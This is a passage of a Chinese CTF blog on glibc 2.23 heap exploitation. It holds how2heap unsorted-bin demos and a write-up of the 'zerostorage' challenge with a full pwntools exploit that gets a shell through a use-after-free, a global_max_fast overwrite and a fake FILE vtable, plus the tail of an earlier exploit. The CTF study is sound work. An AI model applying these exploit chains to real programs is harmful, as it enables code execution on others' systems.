class="string">'\x00'</span>*<span class="number">0x38</span>)</span><br><span class="line">PUT(<span class="string">"2222222"</span>, <span class="number">0x58</span>, <span class="string">'\x00'</span>*<span class="number">0x58</span>)</span><br><span class="line">PUT(<span class="string">'4444444'</span>, <span class="number">0x58</span>, <span class="string">'\x00'</span>*<span class="number">0x58</span>)</span><br><span class="line">PUT(<span class="string">'4444444'</span>, <span class="number">0xf8</span>, <span class="string">'\x00'</span>*<span class="number">0xf8</span>)</span><br><span class="line">PUT(<span class="string">'5'</span>*<span class="number">0x10</span>+p64(<span class="number">0x300</span>), <span class="number">0x108</span>, <span class="string">'\x00'</span>*<span class="number">0x108</span>)</span><br><span class="line"></span><br><span class="line">DEL(<span class="string">'2222222'</span>)</span><br><span class="line">DEL(<span class="string">'th3fl4g'</span>)</span><br><span class="line">DEL(<span class="string">'4444444'</span>)</span><br><span class="line"></span><br><span class="line">gdb.attach(p,<span class="string">'brva 0x1334'</span>)</span><br><span class="line">PUT(<span class="string">'a'</span>, <span class="number">0xc8</span>, <span class="string">'\x00'</span>*<span class="number">0xc8</span>)<span class="comment">#D0 chunk</span></span><br><span class="line"></span><br><span class="line">DUMP()</span><br><span class="line"><span class="comment">#p.recvuntil('bytes')</span></span><br><span class="line">p.recvuntil(<span class="string">'['</span>)</span><br><span class="line">heap_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0x610</span></span><br><span class="line">p.recvuntil(<span class="string">', '</span>)</span><br><span class="line">libc_base=int(p.recvuntil(<span class="string">' '</span>))<span class="number">-0x3c4b78</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + hex(heap_base)+<span class="string">','</span>+hex(libc_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line">fill1=p64(<span class="number">0</span>)*<span class="number">2</span>+p64(heap_base+<span class="number">0x180</span>)+p64(<span class="number">0</span>)*<span class="number">2</span>+p64(heap_base+<span class="number">0x390</span>)+p64(<span class="number">0</span>)+p64(<span class="number">0x71</span>)+p64(libc_base+<span class="number">0x3c4aed</span>)+p64(<span class="number">0</span>)*<span class="number">12</span></span><br><span class="line">PUT(<span class="string">'b'</span>,<span class="number">0xa8</span>,fill1)</span><br><span class="line"></span><br><span class="line">PUT(<span class="string">'c'</span>,<span class="number">0x68</span>,<span class="string">'no mean'</span>.ljust(<span class="number">0x48</span>,<span class="string">'\x00'</span>)+p64(<span class="number">0x200</span>)+p64(libc_base+<span class="number">0x3c4b78</span>)*<span class="number">2</span>+<span class="string">'\x00'</span>*<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">DEL(<span class="string">'b'</span>)</span><br><span class="line"><span class="comment">### Write different one_gadget</span></span><br><span class="line"><span class="comment">#PUT('never',0x68,'\x00'*19+p64(libc_base+0x45216)+'\x00'*77)</span></span><br><span class="line">PUT(<span class="string">'gogogo'</span>,<span class="number">0x68</span>,<span class="string">'\x00'</span>*<span class="number">19</span>+p64(libc_base+<span class="number">0x4526a</span>)+<span class="string">'\x00'</span>*<span class="number">77</span>)</span><br><span class="line"><span class="comment">#PUT('never',0x68,'\x00'*19+p64(libc_base+0xf02a4)+'\x00'*77)</span></span><br><span class="line"><span class="comment">#PUT('never',0x68,'\x00'*19+p64(libc_base+0xf1147)+'\x00'*77)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># try try try</span></span><br><span class="line">DEL(<span class="string">'gogogo'</span>)</span><br><span class="line"><span class="comment">#GET('')</span></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="小记"><a href="#小记" class="headerlink" title="小记"></a>小记</h1><p>这个堆题应该是目前为止写的时间最长，也是最麻烦的一个堆题，主要是树形结构的逆向很耗时间，然后再off_by_one的构造上也要花不少功夫，合并的内存块前面必须要满足unlink条件，这个就需要精力去考虑一下在这种复杂堆管理下的构造方式，再就是一定要清楚各个模块对chunk操作的顺序，否贼写起来真的毫无头绪。再就是这个leak的方式也是我第一次见，通过unsortedbin指针，既打印了libc的地址又打印了堆的地址，承认这个操作是看师傅们的wp来的，以后一定在leak方面加把劲XD。最后就是玄学树操作，比赛碰到这种一定要不求甚解，只要能不影响漏洞利用就可以了，要不然浪费大量时间。<br>另外这题师傅们的构造更好一点，师傅们的构造是这样的，0x90加到0x100 chunk之前刚好是0x200的一个chunk</p>
<table>
<thead>
<tr>
<th>node A</th>
<th>dataB</th>
<th>rkB</th>
<th>rkA</th>
<th>dataA</th>
<th>nodeB</th>
<th>nodeC</th>
<th>rkC</th>
<th></th>
<th>nodeD</th>
<th>rkd(exp)</th>
<th>dataC_n</th>
<th>dataD</th>
</tr>
</thead>
<tbody><tr>
<td>0x40</td>
<td>0x20</td>
<td>0x20</td>
<td>0x20</td>
<td>0x90</td>
<td>0x40</td>
<td>0x40</td>
<td>0x20</td>
<td>0x70</td>
<td>0x40</td>
<td>0x20</td>
<td>0x100</td>
<td>0x20</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>fastbin1</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody></table>
<p><strong>最后：多撸源码</strong></p>
]]></content>
      <tags>
        <tag>how2heap</tag>
      </tags>
  </entry>
  <entry>
    <title>how2heap - unsorted_bin&amp;zerostorage</title>
    <url>/2020/02/26/how2heap-unsorted-bin-zerostorage/</url>
    <content><![CDATA[<h1 id="how2heap-unsorted-bin-amp-zerostorage"><a href="#how2heap-unsorted-bin-amp-zerostorage" class="headerlink" title="how2heap - unsorted_bin&amp;zerostorage"></a>how2heap - unsorted_bin&amp;zerostorage</h1><p>ubuntu16.04     libc2.23</p>
<h1 id="unsorted-bin-into-stack-c"><a href="#unsorted-bin-into-stack-c" class="headerlink" title="unsorted_bin_into_stack.c"></a>unsorted_bin_into_stack.c</h1><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#include &lt;stdio.h&gt;</span></span><br><span class="line"><span class="comment">#include &lt;stdlib.h&gt;</span></span><br><span class="line"><span class="comment">#include &lt;stdint.h&gt;</span></span><br><span class="line"></span><br><span class="line">int main() &#123;</span><br><span class="line">  intptr_t stack_buffer[<span class="number">4</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line"></span><br><span class="line">  fprintf(stderr, <span class="string">"This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"</span>);</span><br><span class="line"></span><br><span class="line">  fprintf(stderr, <span class="string">"Allocating the victim chunk\n"</span>);</span><br><span class="line">  intptr_t* victim = malloc(<span class="number">0x100</span>);</span><br><span class="line"></span><br><span class="line">  fprintf(stderr, <span class="string">"Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n"</span>);</span><br><span class="line">  intptr_t* p1 = malloc(<span class="number">0x100</span>);</span><br><span class="line"></span><br><span class="line">  fprintf(stderr, <span class="string">"Freeing the chunk %p, it will be inserted in the unsorted bin\n"</span>, victim);</span><br><span class="line">  free(victim);</span><br><span class="line"></span><br><span class="line">  fprintf(stderr, <span class="string">"Create a fake chunk on the stack"</span>);</span><br><span class="line">  fprintf(stderr, <span class="string">"Set size for next allocation and the bk pointer to any writable address"</span>);</span><br><span class="line">  stack_buffer[<span class="number">1</span>] = <span class="number">0x100</span> + <span class="number">0x10</span>;</span><br><span class="line">  stack_buffer[<span class="number">3</span>] = (intptr_t)stack_buffer;</span><br><span class="line"></span><br><span class="line">  //------------VULNERABILITY-----------</span><br><span class="line">  fprintf(stderr, <span class="string">"Now emulating a vulnerability that can overwrite the victim-&gt;size and victim-&gt;bk pointer\n"</span>);</span><br><span class="line">  fprintf(stderr, <span class="string">"Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (&gt; 16 on x64) &amp;&amp; &lt; av-&gt;system_mem\n"</span>);</span><br><span class="line">  victim[<span class="number">-1</span>] = <span class="number">32</span>;</span><br><span class="line">  victim[1] = (intptr_t)stack_buffer; // victim-&gt;bk is pointing to stack</span><br><span class="line">  //------------------------------------</span><br><span class="line"></span><br><span class="line">  fprintf(stderr, <span class="string">"Now next malloc will return the region of our fake chunk: %p\n"</span>, &amp;stack_buffer[<span class="number">2</span>]);</span><br><span class="line">  fprintf(stderr, <span class="string">"malloc(0x100): %p\n"</span>, malloc(<span class="number">0x100</span>));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>意思就是unsortedbin上有一个chunk，然后模拟漏洞更改了其size和bk，这样再malloc相同大小的chunk时这块chunk就不会被malloc，会被放到smallbin里面去，其中libc2.23中unsortedbin卸下的操作是：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">unsorted_chunks (av)-&gt;bk = bck;</span><br><span class="line">bck-&gt;fd = unsorted_chunks (av);</span><br></pre></td></tr></table></figure>

<p>这里bck就是victim-&gt;bk，所以卸下操作基本都是与bk指针相关，与fd无关。这个代码中只需要将栈上对应的size字段和bk设置好即可，0x100chunk被放到smallbin后unsortedbin中情况如图所示</p>
<img src="/2020/02/26/how2heap-unsorted-bin-zerostorage/1582446182507.png" width="50%" height="50%">

<p>此时可以无限<code>malloc(0x100)</code>都是这个stack chunk，bck始终是他自己</p>
<h1 id="unsorted-bin-attack-c"><a href="#unsorted-bin-attack-c" class="headerlink" title="unsorted_bin_attack.c"></a>unsorted_bin_attack.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This technique only works with buffers not going into tcache, either because the tcache-option for "</span></span><br><span class="line">		    <span class="string">"glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build "</span></span><br><span class="line">		    <span class="string">"instructions.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "</span></span><br><span class="line">		   <span class="string">"global variable global_max_fast in libc for further fastbin attack\n\n"</span>);</span><br><span class="line"></span><br><span class="line">	<span class="keyword">unsigned</span> <span class="keyword">long</span> stack_var=<span class="number">0</span>;</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Let's first look at the target we want to rewrite on stack:\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"%p: %ld\n\n"</span>, &amp;stack_var, stack_var);</span><br><span class="line"></span><br><span class="line">	<span class="keyword">unsigned</span> <span class="keyword">long</span> *p=<span class="built_in">malloc</span>(<span class="number">0x410</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now, we allocate first normal chunk on the heap at: %p\n"</span>,p);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"And allocate another normal chunk in order to avoid consolidating the top chunk with"</span></span><br><span class="line">           <span class="string">"the first one during the free()\n\n"</span>);</span><br><span class="line">	<span class="built_in">malloc</span>(<span class="number">500</span>);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">free</span>(p);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "</span></span><br><span class="line">		   <span class="string">"point to %p\n"</span>,(<span class="keyword">void</span>*)p[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">	<span class="comment">//------------VULNERABILITY-----------</span></span><br><span class="line"></span><br><span class="line">	p[<span class="number">1</span>]=(<span class="keyword">unsigned</span> <span class="keyword">long</span>)(&amp;stack_var<span class="number">-2</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now emulating a vulnerability that can overwrite the victim-&gt;bk pointer\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n"</span>,(<span class="keyword">void</span>*)p[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">	<span class="comment">//------------------------------------</span></span><br><span class="line"></span><br><span class="line">	<span class="built_in">malloc</span>(<span class="number">0x410</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Let's malloc again to get the chunk we just free. During this time, the target should have already been "</span></span><br><span class="line">		   <span class="string">"rewritten:\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"%p: %p\n"</span>, &amp;stack_var, (<span class="keyword">void</span>*)stack_var);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>这个的原理也是借助于unsortedbin上的卸链表的操作，当unsortedbin上有chunk，时，卸链表操作有一个：<br><code>bck-&gt;fd=unsorted_chunks (av);</code><br>在这里，我们首先把chunk的bk改成了栈指针，所以在获取bck的时候bck就会是一个栈地址，然后malloc在unsortedbin上成功匹配到chunk之后，即使没有去接着malloc chunk，对应栈地址+2*sizt_t的地方也会填上main_arena的地址，这也是这个利用和上面那个利用不一样（不用修改size字段）的原因</p>
<p>这两个都不难我这里就不debug了，直接撸题吧</p>
<h1 id="zerostorage"><a href="#zerostorage" class="headerlink" title="zerostorage"></a>zerostorage</h1><p>程序说实话好像逆起来有点复杂，直接看流程更清晰明了</p>
<h2 id="程序分析（流程）"><a href="#程序分析（流程）" class="headerlink" title="程序分析（流程）"></a>程序分析（流程）</h2><p>bss段上存了一个记录结构体数组，这个结构体主要是用来管理对应chunk的，分别记录了表示use_or_not的flag、可用长度还有指针（xor了一个随机的mask，导致真正的指针没有存在bss段）</p>
<h3 id="Insert"><a href="#Insert" class="headerlink" title="Insert"></a>Insert</h3><p>找记录数组看还有没有剩余的位置，最多记录0x20个</p>
<p>输入的lenth不能小于0</p>
<p>len&gt;0x1000                     calloc(0x1000) read(0x1000)///set ent-&gt;len=0x1000<br>if 0x80&lt;=len&lt;=0x1000     calloc(len) read(len)///set ent-&gt;len=len<br>len&lt;0x80 calloc(0x80)     read(len)///set ent-&gt;len=len</p>
<p>然后就差不多是读ent-&gt;len长度的数据了，这里的比对操作差不多就是为了申请的chunk在0x80~0x1000之间，</p>
<h3 id="update"><a href="#update" class="headerlink" title="update"></a>update</h3><p>input(index)</p>
<p>check(index&gt;0x1F,ent-&gt;use_or_not)<br>input(len)    check(len&gt;0)<br>if len&gt;0x1000                    a=0x1000    c=0x1000<br>if 0x80&lt;=len&lt;=0x1000        a=len        c=len<br>if len&lt;0x80                         a=0x80        c=len<br>这个也是为了控制大小在0x80~0x1000之间</p>
<p>if ent-&gt;len&gt;=0x80            b=ent-&gt;len<br>else                         b=0x80</p>
<p>if a!=b realloc(ptr_mask^ent-&gt;ptr,a)</p>
<p>readn(ptr,c)<br>然后更新记录</p>
<h3 id="merge"><a href="#merge" class="headerlink" title="merge"></a>merge</h3><p>need ent_num&gt;1<br>input(fromID) check(fromID&gt;0x1F,mergechunk1.use_or_not)<br>input(toID)   check(toID&gt;0x1F,mergechunk2.use_or_not)<br>a=0x80,b=0x80<br>if fromlen+tolen&gt;=0x80    b=fromlen+tolen<br>if tolen&gt;=0x80             a=tolen</p>
<p>if a==b                 cpy_len=fromlen<br>else                    realloc(to_ptr,b)  cpy_len=fromlen<br>memcpy(chunk_toptr + to_len, from_ptr, cpy_len);<br>把from的数据拷到新的chunk里对应的位置去</p>
<p>更新一个新的记录<br>free(from_ptr)<br>清除掉合并的<strong>两个</strong>记录</p>
<h3 id="delete"><a href="#delete" class="headerlink" title="delete"></a>delete</h3><p>这个就很简单了就是input然后check然后free，并清除掉记录</p>
<p>input(id)    check(id&gt;0x1F,use_or_not)<br>free(ptr)    clear record</p>
<h3 id="view"><a href="#view" class="headerlink" title="view"></a>view</h3><p>view就是按记录的长度，输出chunk上长度为n的内容</p>
<p>input(id)    check(id&gt;0x1F,use_or_not)<br>write_n</p>
<h3 id="list"><a href="#list" class="headerlink" title="list"></a>list</h3><p>输出对应记录的下标和记录下来的长度</p>
<h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>这个题我最开始看了很久主要是因为真的太乱了，特别是前面比来比去的操作，而且我当时没记笔记有点蠢，以后这种比来比去的操作直接记笔记，这样可以知道程序到底是为了干什么</p>
<p>然后漏洞的话基本上第一眼看上去溢出和leak都不行，毕竟什么记录之类的也都在free之后清除了，申请的时候使用的也是calloc，然后再仔细就会发现如果merge中输入的fromID和toID相等的话就会形成UAF，比如先calloc 3个0x90的chunk然后delete第二个，merge(0,0)的话就会把第一个chunk合并成一个0x120的chunk存在记录[1]处，然后free掉这个0x120的chunk，由于是在unsortedbin上所以可以在之前再free一个，设置这个chunk的fd指向那个chunk，再去view的时候就可以leak heap和libc了，而且也可以通过update来更改chunk中的内容</p>
<p>由于这种题是第一次接触，自己也还傻傻不清楚unsortedbin attack怎么用，所以参考了一些师傅们的题解，然后发现这种方法可以用来修改<code>global_max_fast</code>这个变量，然而在我参考的过程中发现，由于原题环境是在ubuntu14系统下，当时还存在一个获取libc地址之后直接获取程序地址的操作，所以原题的思路是在bss段伪造一个堆块，然后把bss给malloc出来，获得mask之后修改指针实现任意地址写。但是在ubuntu16下面这个操作已经不存在了，所以又照着新解学习了很多<code>_IO_FILE</code>的知识</p>
<p>学了FSOP再来分析漏洞，此时已经有了libc地址和heap地址，还更改了<code>global_max_fast</code>，接下来如果使用FSOP的话应该怎么用呢…我第一个想到的还是fastbin attack（写完第一个思路之后回来发现师傅还有一个思路，简直不能再爽23333，所以我这里写了两个解法），之前fastbin attack能修改<code>__malloc_hook</code>主要是因为存在0x7f这个特殊值，但是现在就似乎变得更棘手了一些堆块又不能大于0x1000，又不能小于0x80</p>
<p>….不过果然只要细心一点找还是找的到fake size的，如图</p>
<img src="/2020/02/26/how2heap-unsorted-bin-zerostorage/1582718464993.png" width="80%" height="80%">

<p>我在<code>stderr</code>对应的FILE中找到了一个0xfb的fakesize，这个本来是FILE的flag值，但是既然你有个0xfb我就不客气的拿下了….distance也是足够的，只要劫持你到我堆上伪造的vtable就完事了</p>
<h2 id="Exploit1"><a href="#Exploit1" class="headerlink" title="Exploit1"></a>Exploit1</h2><p>接着上面的想法我成功的跑通了自己的思路奥利给！（还是那句话，用自己的方法写出来真的太开心了23333）</p>
<ol>
<li>首先就是先多申请几个chunk，其中一个大小是0x74</li>
<li>merge 0x74的chunk，这时候能merge出来一个0xf0的chunk</li>
<li>再弄一个merge自己的chunk，此时在unsortedbin链中这个chunk的fd是我们之前0xf0的chunk，bk是unsortedbin，达到leak，而且由于这个chunk是unsortedbin链头，所以这个也刚好用来改<code>global_max_fast</code></li>
<li>然后把0xf0的chunk从unsortedbin calloc出来，为了后面的fastbin attack（毕竟是UAF的chunk，我们有两个记录可以用来改它2333）</li>
<li>把第三步merge自己的chunk也calloc出来，这步只是为了改<code>global_max_fast</code></li>
<li>delete之前的0xf0的chunk，然后改fd（fastbin attack）</li>
<li>这里注意再insert的时候就可以把fake vtable放上去了，为了等下用</li>
<li>再insert就是改写<code>_IO_2_1_stderr_</code>的东西了，注意计算对应于fakechunk的偏移</li>
<li>退出getshell</li>
</ol>
<h3 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./zerostorage'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">g_m_f=<span class="number">0x3c67f8</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line">	log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'-----&gt;'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">'''libc 2.23 x64</span></span><br><span class="line"><span class="string">0x45216 execve("/bin/sh", rsp+0x30, environ)constraints:  rax == NULL</span></span><br><span class="line"><span class="string">0x4526a execve("/bin/sh", rsp+0x30, environ)constraints:  [rsp+0x30] == NULL</span></span><br><span class="line"><span class="string">0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints:  [rsp+0x50] == NULL</span></span><br><span class="line"><span class="string">0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL</span></span><br><span class="line"><span class="string">req = dest - old_top - 4*sizeof(long)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="comment">#todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">insert</span><span class="params">(size,content)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'1'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'Length of new entry: '</span>)</span><br><span class="line">	p.sendline(str(size))</span><br><span class="line">	p.recvuntil(<span class="string">'Enter your data: '</span>)</span><br><span class="line">	p.send(content)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">update</span><span class="params">(id,size,content)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'2'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'Entry ID: '</span>)</span><br><span class="line">	p.sendline(str(id))</span><br><span class="line">	p.recvuntil(<span class="string">"Length of entry: "</span>)</span><br><span class="line">	p.sendline(str(size))</span><br><span class="line">	p.recvuntil(<span class="string">'Enter your data: '</span>)</span><br><span class="line">	p.send(content)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">merge</span><span class="params">(fromid,toid)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'3'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'from Entry ID: '</span>)</span><br><span class="line">	p.sendline(str(fromid))</span><br><span class="line">	p.recvuntil(<span class="string">'to Entry ID: '</span>)</span><br><span class="line">	p.sendline(str(toid))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(id)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'4'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'Entry ID: '</span>)</span><br><span class="line">	p.sendline(str(id))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">view</span><span class="params">(id)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Your choice: '</span>)</span><br><span class="line">	p.sendline(<span class="string">'5'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'Entry ID: '</span>)</span><br><span class="line">	p.sendline(str(id))</span><br><span class="line">insert(<span class="number">0x80</span>,<span class="string">'a'</span>*<span class="number">0x80</span>)<span class="comment">#0</span></span><br><span class="line">insert(<span class="number">0x80</span>,<span class="string">'b'</span>*<span class="number">0x80</span>)<span class="comment">#1</span></span><br><span class="line">insert(<span class="number">0x80</span>,<span class="string">'c'</span>*<span class="number">0x80</span>)<span class="comment">#2</span></span><br><span class="line">insert(<span class="number">0x74</span>,<span class="string">'d'</span>*<span class="number">0x74</span>)<span class="comment">#3 这里的chunk是为了merge自己之后能有一个0xfx的size，便于后面利用</span></span><br><span class="line">insert(<span class="number">0x80</span>,<span class="string">'e'</span>*<span class="number">0x80</span>)<span class="comment">#4</span></span><br><span class="line">insert(<span class="number">0x80</span>,<span class="string">'f'</span>*<span class="number">0x80</span>)<span class="comment">#5</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">4</span>)<span class="comment">#这里如果不先delete4的话会因为realloc中free了这块空间从而被double free</span></span><br><span class="line">merge(<span class="number">3</span>,<span class="number">3</span>)</span><br><span class="line">delete(<span class="number">1</span>)</span><br><span class="line">merge(<span class="number">0</span>,<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">view(<span class="number">1</span>)</span><br><span class="line">p.recvuntil(<span class="string">':\n'</span>)</span><br><span class="line">heap_base=my_u64(p.recv(<span class="number">8</span>))<span class="number">-0x1b0</span></span><br><span class="line">libc_base=my_u64(p.recv(<span class="number">8</span>))<span class="number">-0x3c4b78</span></span><br><span class="line">loginfo(<span class="string">'heap_base'</span>,heap_base)</span><br><span class="line"></span><br><span class="line">fakechunk_offset=<span class="number">0x3c553b</span></span><br><span class="line">pad_len=<span class="number">0xcd</span><span class="comment">#到vtable指针的距离</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">update(<span class="number">1</span>,<span class="number">0x110</span>,p64(<span class="number">0</span>)+p64(libc_base+g_m_f<span class="number">-0x10</span>)+<span class="string">'a'</span>*<span class="number">0x100</span>)</span><br><span class="line">insert(<span class="number">0xe0</span>,<span class="string">'+'</span>*<span class="number">0xe0</span>)</span><br><span class="line">insert(<span class="number">0x110</span>,<span class="string">'*'</span>*<span class="number">0x110</span>)</span><br><span class="line"></span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">update(<span class="number">4</span>,<span class="number">0xe8</span>,p64(libc_base+fakechunk_offset)+<span class="string">'0'</span>*<span class="number">0xe0</span>)</span><br><span class="line">insert(<span class="number">0xe0</span>,p64(<span class="number">0</span>)*<span class="number">3</span>+p64(libc_base+<span class="number">0x4526a</span>)+<span class="string">'.'</span>*<span class="number">0xc0</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#这里要计算各种偏移，而且是对fakechunk来说的，所以显得有些繁琐?..没事，getshell天下第一</span></span><br><span class="line">payload=<span class="string">'.'</span>*<span class="number">0x15</span>+p64(<span class="number">0</span>)+p64(<span class="number">1</span>)			<span class="comment">#满足 _IO_write_ptr(0x28偏移) &gt; _IO_write_base(0x20偏移)</span></span><br><span class="line">payload=payload.ljust(pad_len,<span class="string">'\x00'</span>)	<span class="comment">#满足0xc0偏移的_mode要&lt;=0</span></span><br><span class="line">insert(<span class="number">0xe0</span>,(payload+p64(heap_base+<span class="number">0x1c0</span>)).ljust(<span class="number">0xe0</span>,<span class="string">'\xee'</span>))</span><br><span class="line"></span><br><span class="line">p.sendline(<span class="string">'7'</span>)<span class="comment">#trigger</span></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="Exploit2"><a href="#Exploit2" class="headerlink" title="Exploit2"></a>Exploit2</h2><p>修改<code>global_max_fast</code>之后我本来是只想到了利用fastbin attack，但是发现好像有一个更牛逼的操作：</p>
<p>因为fastbin的限制现在变的特别大了，所以如果我们的chunk足够大的时候可以直接将chunk的地址填到别的地方去而不是fastbin的那个数组…这应该也算是数组越界的一个应用了，太顶了<br>如下（这是main_arena之后的可写数据段，一下就看到了一些熟悉的东西，而且指不定还有什么可以改，只要咱们的chunk够大2333）：</p>
<img src="/2020/02/26/how2heap-unsorted-bin-zerostorage/1582727103137.png" width="70%" height="70%">

<p>师傅们的操作是改了<code>_IO_list_all</code>，然后在对应chunk上伪造一个FILE，这里说一下写EXP自己踩的几个坑</p>
<ol>
<li>leak的时候unsortedbin上是有两个chunk的，所以干脆把链尾的那个chunk弄成0x400后面merge的时候可以直接取下来，省去了再insert的步骤，然后把fake_err和fake table都update到0x1000的那个chunk里面去</li>
<li>前面0x1000的chunk和0x400的chunk直接挨着就好</li>
<li><code>_IO_list_all</code>指向的是chunk header，但是我们写的时候是从data段开始写的，所以要注意这里少0x10个偏移，前面0x10的数据也用不了</li>
</ol>
